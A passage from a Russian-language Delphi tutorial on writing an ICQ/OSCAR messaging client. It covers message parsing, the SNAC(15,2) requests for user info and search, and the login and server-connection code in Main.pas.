         { в TLV(6) - его статус }
       end;

     // анализируем каждый из форматов
     case MessageFormat of
     $0001: begin
            M(Memo,'< Message-format:1 (SIMPLE)');
            // чтение TLV(2) в sTemp
            TLVReadStr(p,sTemp);
            // скопируем sTemp во временный PPack,
            // для удобства обработки
            tmp := PacketNew;
            PacketAppend(tmp,@(sTemp[1]),length(sTemp));
            PacketGoto(tmp,0);
            // обработаем его
            PacketRead16(tmp);
            PacketRead16(tmp);
            PacketRead8(tmp);
            PacketRead16(tmp);
            // добрались до длины сообщения
            lenmes := swap(PacketRead16(tmp))-4;
            PacketRead32(tmp);
            // читаем сообщение в sTemp
            PacketRead(tmp,@sTemp[1],lenmes);
            SetLength(sTemp,lenmes);
            // анализ содержания сообщения
            DoSimpleMsg(hisUIN,sTemp);
            // удалим временный PPack
            PacketDelete(tmp);
            end;

     $0002: begin
            M(Memo,'< Message-format:2 (ADVANCED)');
            // чтение TLV(5) в sTemp
            TLVReadStr(p,sTemp);
            // скопируем sTemp во временный PPack,
            // для удобства обработки
            tmp := PacketNew;
            PacketAppend(tmp,@(sTemp[1]),length(sTemp));
            PacketGoto(tmp,0);
            // обработаем его
            SubMode := swap(PacketRead16(tmp));
            PacketRead32(tmp);
            PacketRead32(tmp);
            PacketRead(tmp,@dTemp,16);

            case SubMode of
            $0000: begin
                   M(Memo,'SubMode: $0000 NORMAL');
                   TLVReadWord(tmp,SubMode2);
                   // TLV(F) - пустой
                   TLVReadWord(tmp,Empty);
                   // прием и анализ TLV(2711)
                   T := TLVReadStr(tmp,sTemp);
                   if T=$2711 then begin
                     // сохраняем кусок данных для ACKа
                     MOVE(sTemp[1],ACK[ind],47);inc(ind,47);
                     PLONG(@(ACK[ind]))^:=0; inc(ind,4);

                     // используем временный PPack
                     tmp2 := PacketNew;
                     PacketAppend(tmp2,@(sTemp[1]),length(sTemp));
                     PacketGoto(tmp2,0);

                     PacketRead(tmp2,@dTemp,26);
                     PacketRead8(tmp2);
                     PacketRead16(tmp2);
                     PacketRead16(tmp2);
                     PacketRead16(tmp2);
                     PacketRead(tmp2,@dTemp,12);
                     // читаем ТИП сообщения
                     typemes := PacketRead8(tmp2);
                     {subtypemes := }PacketRead8(tmp2);
                     unk:=swap(PacketRead16(tmp2));
                     modifier:=swap(PacketRead16(tmp2));
                     M(Memo,'Unk: $'+inttohex(unk,4));
                     M(Memo,'Modifier: $'+inttohex(modifier,4));
                     // длина сообщения
                     lenmes := PacketRead16(tmp2);
                     // анализ сообщения
                     NewMsg:=DoMsg(true,typemes,
                        lenmes,PCharArray(@(tmp2^.data[tmp2^.cursor])),
                        hisUIN,Now2DateTime);
                     // небольшая перемотка
                     PacketGoto(tmp2,(tmp2^.cursor)+lenmes);
                     // читаем Foreground и Background Colors
                     PacketRead(tmp2,@FG,4);
                     PacketRead(tmp2,@BG,4);
                     if NewMsg<>nil then begin
                       NewMsg^.FG:='$00'+inttohex(FG[2],2)+
                                         inttohex(FG[1],2)+
                                         inttohex(FG[0],2);
                       NewMsg^.BG:='$00'+inttohex(BG[2],2)+
                                         inttohex(BG[1],2)+
                                         inttohex(BG[0],2);
                     end;
                     // удаление временного PPack
                     PacketDelete(tmp2);

                     // дозаполнение ACK
                     PWORD(@(ACK[ind]))^:= 1; inc(ind,2);
                     PBYTE(@(ACK[ind]))^:= 0; inc(ind,1);
                     PLONG(@(ACK[ind]))^:= 0; inc(ind,4);
                     PLONG(@(ACK[ind]))^:=-1; inc(ind,4);

                     // посылка ACKа
                     tmp3 := CreatePacket($2,SEQ);
                     SNACAppend(tmp3,$4,$0B);
                     PacketAppend(tmp3,@ACK[0],ind);
                     PacketSend(tmp3);
                   end;
                   // Submode:$0000
                   end;
            $0001: M(Memo,'SubMode:$0001 ??? message canceled ???');
            $0002: M(Memo,'SubMode:$0002 FILE-ACK');
            // case SubMode
            end;
            PacketDelete(tmp);
            end;

     $0004: begin
            M(Memo,'< Message-format:4 '+
                   '(url or contacts or auth-req or userAddedYou)');
            TLVReadStr(p,sTemp);
            tmp := PacketNew;
            PacketAppend(tmp,@(sTemp[1]),length(sTemp));
            PacketGoto(tmp,0);

            hisUIN := PacketRead32(tmp);
            typemes := PacketRead8(tmp);
            {subtypemes := }
            PacketRead8(tmp);

            lenmes := PacketRead16(tmp);
            DoMsg(true,typemes,
              lenmes,PCharArray(@(tmp^.data[tmp^.cursor])),
              hisUIN,Now2DateTime);

            PacketDelete(tmp);
            end;
       else M(Memo,'< ??? SNAC 4,7; Message-format: '+s(MessageFormat));
     // case MessageFormat
     end;
end;

Урок №3

Запрос информации о клиенте,

Поиск клиентов по различным критериям и др.

Итак... Передавать и принимать сообщения уже умеем. На очереди - получение информации о клиентах, которые находятся в списке контактов; а также поиск новых клиентов по различным критериям. Такие запросы к серверу посылаются с помощью все тех же SNAC(15,2). Вспомните, как производится запрос оффлайновых сообщений.

Точно также SNAC(15,2) с типом запроса равным D007 применяется:

при всех операциях с Инфо клиентов ( и получение, и обновление своего);
при поиске клиентов по имени, по UINу, по E-mailу;
при изменении пароля;
при удалении UINа из реестра ICQ;
при многих других операциях.
Каждая из перечисленных операций определяется подтипом запроса. Приведу обобщенную таблицу SNAC(15,2) для некоторых запросов:

FLAP
Command Start 2A
Channel ID 02
Sequence Number XX XX
Data Field Length XX XX
SNAC (15, 02)
Family ID 00 15
SubType ID 00 02
Flags[0] 00
Flags[1] 00
Request ID 00 XX 00 02 (по ним можно опознать ответ)
TLV (1)
Type 00 01
Length XX XX
Value Length-2
 (и что оно тут делает ?)
XX XX XX XX наш UIN
D0 07 тип запроса
XX 00 cookie
(по нему можно/нужно
опознавать ответ)
B2 04 подтип запроса
(B204 - запрос инфо клиента)
Это переменная часть зпроса.
Она определяется подтипом запроса.

Например:

При запросе инфо клиента (B2 04) или при поиске клиента по UINу (1F05) здесь следует разместить запрашиваемый UIN.

При поиске клиента по E-mail (2905) здесь будет помещена строка с искомым адресом.

При поиске по NickName, FirstName, LastName (1505) сюда помещаются соответственно три стоки.

При смене пароля (2E04) здесь будет лишь строка с паролем, а наш UIN сервер и так знает.

Теперь к Delphi-проекту добавлены еще два модуля: UInfo и SUser (User Info & Search User).

Очередные исходники 3-его урока здесь. Т.к. все рассмотренные више запросы практически однотипные, то приведу комментарии только к одному из них. Это будет поиск по NickName, FirstName, LastName:

unit SUser;

procedure TSearchUser.META_Search_User(NN,FN,LN : string);
var p : PPack;
    // промежуточный массив.
    // в нем накапливаются данные TLV(1)
    b : TByteArray;
    i : integer;
begin
     if (NN='')and(FN='')and(LN='') then exit;
     EndOfSearch := false;

     // word(b[0]) - тут будет ненужная длина
     // (но ее надо потом корректно заполнить)
     // а пока переходим к 3-у елементу
     i:=2;

     // вписываем UIN (только СВОЙ - укажем явно,что из модуля Main.pas)
     PLONG(@(b[i]))^ := main.UIN;    inc(i,4);
     // ТИП запроса
     PWORD(@(b[i]))^ := swap($D007);   inc(i,2);
     // придумаем себе COOKIE
     // (можно и по-проще, но в настоящей аське
     // COOKIE имеет такой вид XX00)
     Cookie := random($FF) shl 8;
     PWORD(@(b[i]))^ := swap(Cookie); inc(i,2);
     // ПОДТИП запроса
     PWORD(@(b[i]))^ := swap($1505);   inc(i,2);

     // добавляем три текстовые строки (First, Last, Nick)
     // у AOL новый тип строк наверное :)
     // впереди - длина строки, а в конце #0
     // (что-то одно из них убрали бы)

     // длина строки
     PWORD(@(b[i]))^ := length(FN)+1;  inc(i,2);
     // сама строка FirstName
     MOVE(FN[1],b[i],length(FN));     inc(i,Length(FN));
     // завершающий #0
     PBYTE(@(b[i]))^ := 0;             inc(i,1);

     // LastName
     PWORD(@(b[i]))^ := length(LN)+1;  inc(i,2);
     MOVE(LN[1],b[i],length(LN));     inc(i,Length(LN));
     PBYTE(@(b[i]))^ := 0;             inc(i,1);

     // NickName
     PWORD(@(b[i]))^ := length(NN)+1;  inc(i,2);
     MOVE(NN[1],b[i],length(NN));     inc(i,Length(NN));
     PBYTE(@(b[i]))^ := 0;             inc(i,1);

     // дозаполним "ненужную" длину в начале массива
     PWORD(@(b[0]))^ := i-2;
     // создаем FLAP-пакет
     P:=CreatePacket(2,SEQ);
     // добавляем SNAC(15,2)
     SNACAppend(p,$15,$2);
     // добавляем TLV(1) с данными из промежуточного массива
     TLVAppend(p,1,i,@b);
     // шлем запрос
     Form1.PacketSend(p);
     // пишем в Memo
     M(Form1.Memo,'> Search Detail: Nick:'+NN+
                               '   First:'+FN+
                                '   Last:'+LN+'   '+
                                 'Cookie:$'+inttohex(Cookie,4));
end;

Запросы других подтипов передаются аналогично. С небольшими вариациями. Оновременно можем передавать на сервер много запросов. Сервер разберется. Ведь в каждом нашем запросе есть уникальное(ый) Cookie (а также и RequestID в SNAC-заголовке). Сервер пометит свои пакеты-ответы этими же опознавательными знаками.

Я лично делаю проверку(сверку) только по Cookie. Выдавая запрос, запоминаю Cookie. А когда приходит ответ от сервера, то процедура-обработчик SNAC_15_3 просто использует WinAPI функцию PostMessage для передачи ответа окну, которое выдало запрос. В параметрах PostMessage указан Cookie из ответа сервера. Какое окно его опознает - значит тому окну и предназначен ответ.

Работа процедуры-обработчика SNAC_15_3 уже ранее рассматривалась. Сейчас она просто дополнена новыми блоками, обрабатывающими новые ответы сервера. Следует упомянуть, что на один (единственный) наш запрос сервер присылает сразу целый массив из SNAC-ответов. Это типичная ситуация.

Например: запрашиваем Инфо о клиенте SNAC(15,2) [подтип запроса B204].

В ответ получим сразу восемь SNAC-ответов.

Вот их краткие названия-описания:

main-home-info
homepage-more-info
more-email-info
additional-info
work-info
about
personal-interests
past-background
Все полученные данные теперь сохраняются в файле .dat

Взято с http://delphiworld.narod.ru


Main.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        alexander_vaga@hotmail.com
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

{$A-,B+,C+,D+,E-,F-,G+,H+,I+,J+,K-,L+,M+,N+,O-,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y+,Z1}
unit Main;
interface
uses
  Windows, Messages, SysUtils, Graphics,
  Forms, Dialogs, ComCtrls, Buttons, ToolWin,
  ExtCtrls, Menus, ImgList, ScktComp, Controls,
  StdCtrls, Classes, inifiles,
  Types, Packet;

type
  TForm1 = class(TForm)
    MainT: TTimer;
    StatusMenu: TPopupMenu;
    OnlineConnected1: TMenuItem;
    FreeForChat1: TMenuItem;
    sep1: TMenuItem;
    Away1: TMenuItem;
    NAExtendedAway1: TMenuItem;
    sep2: TMenuItem;
    OccupiedUrgentMsgs1: TMenuItem;
    DNDDoNotDisturb1: TMenuItem;
    sep3: TMenuItem;
    PrivacyInvisible1: TMenuItem;
    OfflineDiscconnect1: TMenuItem;
    Panel1: TPanel;
    Panel3: TPanel;
    Splitter1: TSplitter;
    CLI: TClientSocket;
    BG: TPanel;
    Memo: TMemo;
    StatusBtn: TButton;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure InitUser;
    procedure InitLogs;
    procedure CloseLogs;
    procedure ConnectMode(Mode : boolean);
    procedure MainTTimer(Sender: TObject);
    procedure OnlineConnected1Click(Sender: TObject);
    procedure Away1Click(Sender: TObject);
    procedure DNDDoNotDisturb1Click(Sender: TObject);
    procedure PrivacyInvisible1Click(Sender: TObject);
    procedure OfflineDiscconnect1Click(Sender: TObject);
    procedure OccupiedUrgentMsgs1Click(Sender: TObject);
    procedure FreeForChat1Click(Sender: TObject);
    procedure NAExtendedAway1Click(Sender: TObject);
    procedure CLIConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure CLI_ReadData(Sender: TObject; Socket: TCustomWinSocket);
    procedure CLIDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure PacketSend(p:PPack);
    procedure ShowUserONStatus(p:PPack);
    procedure SNAC_15_3(p:PPack);
    procedure SNAC_4_7(p:PPack);
    procedure icq_Login(Status : longint);
    procedure SetStatus(Status:longint);
    procedure StatusChange(Status:longint);
    procedure AuthorizePart(p:PPack);
    procedure WorkPart(p:PPack);
    procedure DoMsg(on_off:boolean;typemes,lenmes:integer; data:PCharArray; r_uin:longint; DateTime:TDateTime);
    procedure DoSimpleMsg(r_uin:longint; Text:string);
    procedure ClearFIFO;
    procedure debugFILE(tmp:PPack; Direction:char);
    procedure LogMessage(s:string);
    procedure StatusBtnClick(Sender: TObject);
  private{ Private declarations }
  public { Public declarations }
  protected { Protected declarations }
  published { Published declarations }
 end;

var Form1 : TForm1;
    UIN           : longint;
    NICK          : string;
    PASSWORD      : string;
    ICQStatus     : longint;
    DIM_IP        : IPArray;
    Local_IP      : string;
    Local_Name    : string;
    SEQ           : word;
    FLAP          : FLAP_HDR;
    FLAP_DATA     : TByteArray;
    Index         : integer;
    NeedBytes     : integer;
    sCOOKIE       : string;
    Cookie        : word;
    WorkAddress   : string;
    WorkPort      : integer;
    log,mess      : text;

const
    isLogged   : boolean = false;
    isAuth     : boolean = true;
    isHDR      : boolean = true;
    HeadFIFO   : PFLAP_Item = nil;

implementation

{$R *.DFM}

(****************************************************************)
procedure TForm1.PacketSend(p:PPack);
begin
       SetLengthPacket(p);
       CLI.socket.sendbuf(p^.data,p^.length);
       debugFILE(p,'>');
       PacketDelete(p);
end;

(****************************************************************)
procedure TForm1.ConnectMode(Mode : boolean);
begin
     case Mode of
      true: begin
        isLogged := true;
        case ICQStatus of
          STATE_ONLINE:      StatusBtn.Caption := 'online';
          STATE_AWAY:        StatusBtn.Caption := 'away';
          STATE_DND:         StatusBtn.Caption := 'dnd';
          STATE_OCCUPIED:    StatusBtn.Caption := 'occupied';
          STATE_FREEFORCHAT: StatusBtn.Caption := 'freeforchat';
          STATE_N_A:         StatusBtn.Caption := 'na';
          STATE_INVISIBLE:   StatusBtn.Caption := 'invisible';
          else               StatusBtn.Caption := 'offline';
        end;
      end;
      false: begin
        If CLI.Active then CLI.Close;
        ClearFIFO;
        isLogged := false;
        StatusBtn.Caption := 'offline';
      end;
     end;
end;

(****************************************************************)
procedure TForm1.FormCreate(Sender: TObject);
begin
    InitUser;
    InitLogs;
end;

(****************************************************************)
procedure TForm1.debugFILE(tmp:PPack; Direction:char);
begin
     writeln(log,DateTimeToStr(Now)+' =================================');
     writeln(log,Direction+'FLAP: '+inttohex(tmp^.Sign,2)+' '+
          inttohex(tmp^.ChID,2)+' '+inttohex(swap(tmp^.SEQ),4)+' '+
          inttohex(swap(tmp^.Len),4)+' '+'['+inttostr(swap(tmp^.Len))+']');
     writeln(log,Direction+'SNACK:  $'+inttohex(swap(tmp^.SNAC.FamilyID),4)+
                     ':'+inttohex(swap(tmp^.SNAC.SubTypeID),4)+
              ' flags:$'+inttohex(swap(word(tmp^.SNAC.Flags)),4)+
                ' ref:$'+inttohex(DSwap(tmp^.SNAC.RequestID),8));
     writeln(log,Dim2Str(@(tmp^.FLAP_BODY),swap(tmp^.FLAP.Len)));
     writeln(log,Dim2Hex(@(tmp^.FLAP_BODY),swap(tmp^.FLAP.Len)));
     writeln(log,'');
end;

(****************************************************************)
procedure TForm1.CLIDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
     M(Memo,'Disconnected: '+Socket.RemoteAddress);
end;

(****************************************************************)
procedure TForm1.CLIConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
     M(Memo,'Connected: '+Socket.RemoteAddress);
end;

(****************************************************************)
procedure TForm1.CLI_ReadData(Sender: TObject; Socket: TCustomWinSocket);
var num,Bytes,fact : integer;
    pFIFO,CurrFIFO : PFLAP_Item;
    buf : array[0..100] of byte;
begin
     num := Socket.ReceiveLength;
     if isHDR then begin
       if num>=6 then begin
         Socket.ReceiveBuf(FLAP,6);
         NeedBytes := swap(FLAP.Len);
         Index := 0;
         isHDR := not isHDR;
       end else begin
             M(memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
             Socket.ReceiveBuf(buf,num);
             M(Memo,Dim2Hex(@(buf),num));
             M(memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
           end;

     end else begin
         Bytes := NeedBytes;
         fact := Socket.ReceiveBuf(FLAP_DATA[Index],Bytes);
         inc(Index,fact);
         dec(NeedBytes,fact);
         if NeedBytes = 0 then begin
           New(pFIFO);
           pFIFO^.FLAP := FLAP;
           pFIFO^.Next := nil;
           GetMem(pFIFO^.DATA,Index);
           move(FLAP_DATA,PFIFO^.Data^,swap(FLAP.Len));
           // AddToLast
           CurrFIFO:=HeadFIFO;
           if HeadFIFO<>nil then begin
             while CurrFIFO<>nil do
               if CurrFIFO^.Next=nil then begin
                 CurrFIFO^.Next:=pFIFO;
                 break;
               end else CurrFIFO:=CurrFIFO^.Next;
           end else HeadFIFO:=pFIFO; // list is empty
           isHDR := not isHDR;
         end;
     end;
end;

(****************************************************************)
procedure TForm1.MainTTimer(Sender: TObject);
var FindFIFO : PFLAP_Item;
    tmp : PPack;
begin
     MainT.Enabled := false;
     while HeadFIFO<>nil do begin
       // Get HeadFIFO
       FindFIFO := HeadFIFO;
       if HeadFIFO^.Next=nil then HeadFIFO := nil
       else HeadFIFO := HeadFIFO^.Next;

       // creating new packet
       tmp := PacketNew;
       // Fill the packet
       PacketAppend(tmp,@FindFIFO^.FLAP,sizeof(FLAP_HDR));
       PacketAppend(tmp,FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len));
       // Release packet`s memory
       FreeMem(FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len));
       Dispose(FindFIFO);
       //
       debugFILE(tmp,'<');
       if isAuth then AuthorizePart(tmp)
       else WorkPart(tmp);
       // Deleting packet
       PacketDelete(tmp);
     end;
     MainT.Enabled := true;
end;

(****************************************************************)
procedure TForm1.AuthorizePart(p:PPack);
var ss : string;
    T : integer;
    tmp : PPack;
begin
     PacketGoto(p,sizeof(FLAP_HDR)); // goto FLAP_DATA

     // Authorize Server ACK
     if (swap(p^.Len)=4)and
        (swap(p^.SNAC.FamilyID)=0)and
        (swap(p^.SNAC.SubTypeID)=1) then begin
        M(Memo,'<Authorize Server CONNECT');

       // Auth Request (Login)
       SEQ := random($7FFF);
       tmp := CreatePacket(1,SEQ);
       PacketAppend32(tmp,DSwap(1));
       TLVAppendStr(tmp,$1,s(UIN));
       TLVAppendStr(tmp,$2,Calc_Pass(PASSWORD));
       TLVAppendStr(tmp,$3,'ICQ Inc. - Product of ICQ (TM).2000a.4.31.1.3143.85');
       TLVAppendWord(tmp,$16,$010A);
       TLVAppendWord(tmp,$17,$0004); // for 2000a
       TLVAppendWord(tmp,$18,$001F);
       TLVAppendWord(tmp,$19,$0001);
       TLVAppendWord(tmp,$1A,$0C47);
       TLVAppendDWord(tmp,$14,$00000055);
       TLVAppendStr(tmp,$0F,'en');
       TLVAppendStr(tmp,$0E,'us');
       PacketSend(tmp);
       M(Memo,'>Auth Request (Login)');

     end else  // Auth Response (COOKIE or ERROR)
     if (TLVReadStr(p,ss)=1){and(ss=s(UIN))}then begin
        T := TLVReadStr(p,ss);
        case T of
          5: begin // BOS-IP:PORT
            M(Memo,'<Auth Responce (COOKIE)');
            WorkAddress := copy(ss,1,pos(':',ss)-1);
            WorkPort := strtoint(copy(ss,pos(':',ss)+1,length(ss)-pos(':',ss)));
            if (TLVReadStr(p,sCOOKIE)=6)then begin;;;;
              // Empty packet for disconnect
              tmp:=CreatePacket(4,SEQ); // ChID=4
              PacketSend(tmp);
              // Disconnect from Autorize Server
              OfflineDiscconnect1Click(self);
              isAuth := false;
              // Connecting to BOS
              CLI.Address := WorkAddress;
              CLI.Host := '';
              CLI.Port := WorkPort;
              M(Memo,'');
              M(Memo,'>>> Connecting to BOS: '+ss);
              CLI.Open;
            end;
          end;
          4,8: begin
               M(Memo,'<Auth ERROR');
               M(Memo,'TLV($'+inttohex(T,2)+') ERROR');
               M(Memo,'STRING: '+ss);
               if pos('http://',ss)>0 then begin
               end;
               TLVReadStr(p,ss); M(Memo,ss);
               OfflineDiscconnect1Click(self);
               M(Memo,'');
             end;
        end;
     end;
end;

(****************************************************************)
procedure TForm1.WorkPart(p:PPack);
var ss,ss2,sErr : string;
//    T : integer;
    tmp : PPack;
    i : integer;
begin
     if p^.FLAP.ChID = 4 then begin // SERVER GONNA DISCONNECT
       PacketGoto(p,sizeof(FLAP_HDR));
       TLVReadStr(p,ss); M(Memo,ss);
       TLVReadStr(p,ss2); M(Memo,ss2);
       OfflineDiscconnect1Click(self);
       sErr:='Str1: ';
       for i:=1 to length(ss) do sErr:=sErr+inttohex(byte(ss[i]),2)+' ';
       sErr:=sErr+#13#10+'Str2: '+ss2+#13#10+#13#10;
       ShowMessage('Another Computer Use YOUR UIN!'#13#10+#13#10+
                   sErr+'...i gonna to disconnect');
       exit;
     end;

     PacketGoto(p,sizeof(FLAP_HDR)+sizeof(SNAC_HDR));
     // BOS Connection ACK
     if (swap(p^.Len)=4)and
        (swap(p^.SNAC.FamilyID)=0)and
        (swap(p^.SNAC.SubTypeID)=1) then begin
        M(Memo,'<BOS connection ACK');

       // BOS Sign-ON  (COOKIE)
       SEQ := random($7FFF);
       tmp := CreatePacket(1,SEQ);
       PacketAppend32(tmp,DSwap(1));
       TLVAppendStr(tmp,$6,sCOOKIE);
       PacketSend(tmp);
       M(Memo,'>BOS Sign-ON (COOKIE)');

     end else  // BOS-Host ready
     if (swap(p^.SNAC.FamilyID)=1)and
        (swap(p^.SNAC.SubTypeID)=3) then begin
        M(Memo,'<BOS-Host ready');

       // I`m ICQ client, not AIM
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$17);
       PacketAppend32(tmp,dswap($00010003));
       PacketAppend32(tmp,dswap($00020001));
       PacketAppend32(tmp,dswap($00030001));
       PacketAppend32(tmp,dswap($00150001));
       PacketAppend32(tmp,dswap($00040001));
       PacketAppend32(tmp,dswap($00060001));
       PacketAppend32(tmp,dswap($00090001));
       PacketAppend32(tmp,dswap($000A0001));
       PacketSend(tmp);
       M(Memo,'>"I`m ICQ client, not AIM"');

     end else // ACK to "I`m ICQ Client"
     if (swap(p^.SNAC.FamilyID)=$1)and // ACK
        (swap(p^.SNAC.SubTypeID)=$18) then begin
        M(Memo,'<ACK to "I`m ICQ client"');

       // Rate Information Request
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$6);
       PacketSend(tmp);
       M(Memo,'>Rate Information Request');

     end else // Rate Information Response
     if (swap(p^.SNAC.FamilyID)=$1)and
        (swap(p^.SNAC.SubTypeID)=$7) then begin
        M(Memo,'<Rate Information Response');

       // ACK to Rate Information Response
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$8);
       PacketAppend32(tmp,DSwap($00010002));
       PacketAppend32(tmp,DSwap($00030004));
       PacketAppend16(tmp,Swap($0005));
       PacketSend(tmp);
       M(Memo,'>ACK to Rate Response');

       // Request Personal Info
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$0E);
       PacketSend(tmp);
       M(Memo,'>Request Personal Info');

       // Request Rights for Location service
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$2,$02);
       PacketSend(tmp);
       M(Memo,'>Request Rights for Location service');

       // Request Rights for Buddy List
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$3,$02);
       PacketSend(tmp);
       M(Memo,'>Request Rights for Buddy List');

       // Request Rights for ICMB
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$4,$04);
       PacketSend(tmp);
       M(Memo,'>Request Rights for ICMB');

       // Request BOS Rights
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$9,$02);
       PacketSend(tmp);
       M(Memo,'>Request BOS Rights');

     end else  // Personal Information
     if (swap(p^.SNAC.FamilyID)=$1)and
        (swap(p^.SNAC.SubTypeID)=$F) then begin
        M(Memo,'<Personal Information');

     end else  // Rights for location service
     if (swap(p^.SNAC.FamilyID)=$2)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'<Rights for location service');

     end else  // Rights for byddy list
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'<Rights for byddy list');

     end else  // Rights for ICMB
     if (swap(p^.SNAC.FamilyID)=$4)and
        (swap(p^.SNAC.SubTypeID)=$5) then begin
        M(Memo,'<Rights for ICMB');

     end else // BOS Rights
     if (swap(p^.SNAC.FamilyID)=$9)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'<BOS Rights');

       // Set ICMB parameters
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$4,$2);
       PacketAppend16(tmp,swap($0));
       PacketAppend32(tmp,dswap($3));
       PacketAppend16(tmp,swap($1F40));
       PacketAppend16(tmp,swap($03E7));
       PacketAppend16(tmp,swap($03E7));
       PacketAppend16(tmp,swap($0));
       PacketAppend16(tmp,swap($0));
       PacketSend(tmp);
       M(Memo,'>Set ICMB parameters');

       // Set User Info (capability)
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$2,$4);      // tlv(5)=capability
       TLVAppendStr(tmp,5,#$09#$46#$13#$49#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00+
                          #$09#$46#$13#$44#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00);
       PacketSend(tmp);
       M(Memo,'>Set User Info (capability)');

       // Send Contact List
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$3,$4);
       PacketAppendB_String(tmp,s(UIN));
       // PacketAppendB_String(tmp,s(someUIN));
       PacketSend(tmp);
       M(Memo,'>Send Contact List (1)');

       case ICQStatus of
       STATE_INVISIBLE: begin
           // Send Visible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$5);
           PacketSend(tmp);
           M(Memo,'>Send Visible List (0)');
         end;
       else begin
           // Send Invisible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$7);
           PacketSend(tmp);
           M(Memo,'>Send Invisible List (0)');
         end;
       end;//case

       ConnectMode(true);
       SetStatus(ICQStatus);
       M(Memo,'>Set Status Code');

       // Client Ready
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$2);
       PacketAppend32(tmp,dswap($00010003));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00020001));
       PacketAppend32(tmp,dswap($0101028A));
       PacketAppend32(tmp,dswap($00030001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00150001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00040001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00060001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00090001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($000A0003));
       PacketAppend32(tmp,dswap($0110028A));
       PacketSend(tmp);
       M(Memo,'>Client Ready');

       // Get offline messages
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$15,$2);
       PacketAppend32(tmp,dswap($0001000A));
       PacketAppend16(tmp,swap($0800));
       PacketAppend32(tmp,UIN);
       PacketAppend16(tmp,swap($3C00));
       PacketAppend16(tmp,swap($0200));
       PacketSend(tmp);
       M(Memo,'>Get offline messages');

       // Get Banner Address
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$15,$2);
       PacketAppend16(tmp,swap($0001));
       ss:='<key>BannersIP</key>';
       PacketAppend16(tmp,swap(14+length(ss)+1));
       PacketAppend16(tmp,swap($2100));
       PacketAppend32(tmp,UIN);
       PacketAppend16(tmp,swap($D007)); // Type
       PacketAppend16(tmp,swap($0300)); // Cookie
       PacketAppend16(tmp,swap($9808)); // SubType = xml-style (LNTS)
       PacketAppendString(tmp,ss); // '<key>BannersIP</key>'
       PacketSend(tmp);
       M(Memo,'>Get Banner Address');

     end else  // Reject notification
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0A) then begin
        M(Memo,'');
        M(Memo,'<Reject from UIN: '+PacketReadB_String(p));
        M(Memo,'');

     end else  // UIN ON-line
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0B) then begin
        M(Memo,'');
        ShowUserONStatus(p);
        M(Memo,'');

     end else  // UIN OFF-line ???
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0C) then begin
        M(Memo,'');
        M(Memo,'<UIN OFF-line: '+PacketReadB_String(p));
        M(Memo,'');

     end else  // SNAC 15,3  Meny purposes (offlines messages)
     if (swap(p^.SNAC.FamilyID)=$15)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'');
        SNAC_15_3(p);
        M(Memo,'');

     end else  // SNAC 4,7  Incoming message
     if (swap(p^.SNAC.FamilyID)=$4)and
        (swap(p^.SNAC.SubTypeID)=$7) then begin
        M(Memo,'');
        SNAC_4_7(p);
        M(Memo,'');

     end else begin
                M(Memo,'');
                M(Memo,'???? Unrecognized SNAC: ????????');
                M(Memo,'???? SNAC [$'+inttohex(swap(p^.SNAC.FamilyID),2)+':$'+
                                inttohex(swap(p^.SNAC.SubTypeID),2)+']');
                M(Memo,'');
              end;
end;

(****************************************************************)
procedure TForm1.ShowUserONStatus(p:PPack);
